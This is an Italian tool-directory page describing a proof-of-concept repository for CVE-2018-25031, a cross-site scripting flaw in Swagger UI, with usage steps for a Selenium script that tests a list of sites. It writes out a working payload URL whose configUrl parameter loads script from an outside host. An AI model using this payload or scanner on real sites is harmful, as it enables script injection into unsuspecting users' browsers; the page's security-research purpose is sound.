Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-25031 — Script proof-of-concept basato su Python che dimostra la vulnerabilità XSS CVE-2018-25031 in Swagger UI utilizzando Selenium per il rilevamento automatizzato su più endpoint. | Kitploit
Strumenti/GitHubGitHub/lucasrenaa/cve-2018-25031
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebApprendimento e FormazioneSicurezza delle API
GitHublucasrenaa/cve-2018-25031

CVE-2018-25031

Script proof-of-concept basato su Python che dimostra la vulnerabilità XSS CVE-2018-25031 in Swagger UI utilizzando Selenium per il rilevamento automatizzato su più endpoint.

Vedi Repository
132 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC di Cross-Site Scripting nello Swagger UI: CVE-2018-25031 utilizzando Selenium in Python

Questo repository contiene uno script Python che dimostra una prova di concetto (POC) di una vulnerabilità di Cross-Site Scripting (XSS) nello Swagger UI, utilizzando la libreria Selenium. L'obiettivo di questa POC è identificare i siti suscettibili a questa vulnerabilità attraverso lo sfruttamento dello Swagger UI con un payload dannoso.

Vulnerabilità di Cross-Site Scripting (XSS) nello Swagger UI

Lo Swagger UI è uno strumento ampiamente utilizzato per visualizzare e interagire con le API tramite un'interfaccia utente intuitiva. Tuttavia, nella versione 2.9.2, è stata identificata una vulnerabilità di Cross-Site Scripting (XSS) che potrebbe consentire a un attaccante di iniettare codice JavaScript dannoso nelle pagine Swagger UI caricate.

L'XSS si verifica quando un'applicazione non convalida adeguatamente i dati inseriti dall'utente prima di visualizzarli nella pagina. In questo caso, un attaccante può sfruttare la vulnerabilità inserendo codice JavaScript dannoso nei campi di input dello Swagger UI, che verrà eseguito nel contesto del browser di altri utenti che accedono alla stessa pagina compromessa.

Esempio di XSS nello Swagger UI

Nota: L'immagine sopra illustra un esempio di come un attaccante può inserire un payload XSS nello Swagger UI, sfruttando una falla di sicurezza nelle versioni interessate.

Mitigazione e Soluzione

Il modo più efficace per mitigare questa vulnerabilità è garantire che lo Swagger UI sia aggiornato a una versione non affetta. Controlla le versioni più recenti dello Swagger UI e mantienilo sempre aggiornato.

Per gli sviluppatori che desiderano utilizzare o personalizzare lo Swagger UI, è fondamentale eseguire un'adeguata validazione dei dati di input prima di visualizzarli nell'interfaccia. Evitare il rendering diretto di HTML o JavaScript inseriti dagli utenti è una pratica consigliata per prevenire vulnerabilità XSS.

Esempio di Sfruttamento

Ecco un esempio semplificato di come la vulnerabilità può essere sfruttata usando lo Swagger UI:

  1. L'attaccante accede a uno Swagger UI vulnerabile.
  2. L'attaccante identifica un campo di input dove può inserire testo.
  3. L'attaccante inietta un payload XSS nell'URL, ad esempio: http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
  4. Quando altri utenti accedono alla stessa pagina compromessa, il payload XSS viene eseguito nei loro browser, mostrando un avviso con il messaggio "Vulnerabilità XSS".

Avviso

Questa sezione è destinata esclusivamente a scopi educativi e informativi. Non incoraggiare né partecipare ad attività dannose o illegali. Segui sempre le pratiche di divulgazione responsabile quando segnali vulnerabilità.

Prerequisiti

Assicurati di avere installati i seguenti prerequisiti prima di eseguire lo script:

  • Python: Assicurati di avere Python installato sulla tua macchina.
  • Selenium: Installa la libreria Selenium usando il seguente comando:
    pip install selenium
    
  • ChromeDriver: Assicurati di avere installato il ChromeDriver compatibile. Puoi scaricare ChromeDriver dal sito ufficiale di Selenium o utilizzare un gestore di pacchetti, come WebDriver Manager.

Come usare lo script

  1. Clona o scarica questo repository sulla tua macchina.

  2. Modifica il file sites_para_testar.txt e inserisci gli URL dei siti che desideri testare, uno per riga.

  3. Apri un terminale nella cartella del repository ed esegui lo script usando il seguente comando:

    python main.py
    
  4. Lo script scorrerà i siti elencati nel file sites_para_testar.txt, accederà ai loro URL dello Swagger UI e verificherà se viene rilevato un avviso XSS. I risultati verranno registrati in tre file: valido.txt per gli URL potenzialmente vulnerabili, talvezvalido.txt per gli URL che potrebbero essere vulnerabili e naovalido.txt per gli URL non vulnerabili.

Comprendere lo Script

Lo script utilizza la libreria Selenium per automatizzare l'interazione con il browser Chrome. Carica gli URL dello Swagger UI configurati nel file sites_para_testar.txt, aggiunge un payload dannoso al parametro configUrl e verifica se viene attivato un avviso XSS.

Lo script si articola nelle seguenti fasi:

  1. Importa le librerie necessarie di Selenium e altre dipendenze.

  2. Configura le opzioni di ChromeDriver per ignorare errori SSL e di certificato.

  3. Inizializza il driver di Chrome.

  4. Legge i siti da testare dal file sites_para_testar.txt e itera su di essi.

  5. Apre ogni URL dello Swagger UI con il payload dannoso aggiunto.

  6. Tenta di verificare se viene attivato un avviso XSS.

  7. In base al risultato della verifica, registra gli URL nei file valido.txt, talvezvalido.txt o naovalido.txt.

  8. Chiude il driver di Chrome.

Avviso Legale

Questo script è fornito esclusivamente a scopo educativo e di sensibilizzazione sulla sicurezza informatica. Non deve essere utilizzato per scopi dannosi o illegali. L'autore non si assume alcuna responsabilità per un uso improprio di questo script o per eventuali danni derivanti dal suo utilizzo.

Contributi

Se trovi un modo per migliorare questo script o hai suggerimenti, sentiti libero di aprire una pull request.

Licenza

Questo progetto è concesso in licenza sotto la Licenza MIT.

Scarica lo strumento